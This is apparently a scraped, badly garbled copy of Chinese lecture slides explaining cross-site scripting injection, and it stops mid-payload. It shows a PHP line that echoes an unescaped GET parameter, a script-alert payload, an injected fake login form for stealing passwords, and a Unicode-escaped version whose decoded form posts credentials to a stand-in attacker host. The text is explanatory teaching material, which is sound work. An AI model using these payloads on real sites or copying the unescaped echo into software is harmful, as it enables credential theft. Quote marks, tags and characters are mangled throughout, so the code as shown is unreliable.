程序代碼注入ppt課件(編輯修改稿)
2025-06-08 12:41 本頁面
【文章內(nèi)容簡介】 入的一種。它通過巧妙的方法注入惡意指令代碼到網(wǎng)頁，使用戶加載并執(zhí)行攻擊者惡意制造的網(wǎng)頁程序。這些惡意網(wǎng)頁程序通常是JavaScript，但實際上也可以包括Java， VBScript， ActiveX， Flash 或者甚至是普通的 HTML。攻擊成功后，攻擊者可能得到包括但不限于更高的權限（如執(zhí)行一些操作）、私密網(wǎng)頁內(nèi)容、會話和 cookie等各種內(nèi)容。 假如我們有這樣一段 PHP的代碼 ? $username = $_GET[39。username39。]。 echo 39。div Wele, 39。 . $username . 39。/div39。那么我們可以這樣來注入： ? Language=”Javascript”alert(“You?ve been attacked!”)。/Script ? 甚至這樣： ? id=”stealPassword”Please Login:form name=”input” action=” method=”post”Username: input type=”text” name=”username” /br/Password: input type=”password” name=”password” /input type=”submit” value=”Login” //form/div ? 這會讓網(wǎng)頁顯示以下內(nèi)容： ? div class=header Wele, div id=stealPasswordPlease Login: form name=input action= method=post Username: input type=text name=username / br/ Password: input type=password name=password / input type=submit value=Login / /form /div /div 注入的代碼還有可能變種為如下這種更為隱蔽的方式 (unicode碼 ) ? script+type=”text/javascript” ? (?\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073 ? \u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064 ? \u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067 ? \u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D ? \u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063 ? \u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F ? \u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D ? \u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061 ? \u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068 ? \u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070 ? \u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D ? \u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079 ? \u0070\u0065\u003D\u002
教學課件相關推薦
鄂ICP備17016276號-1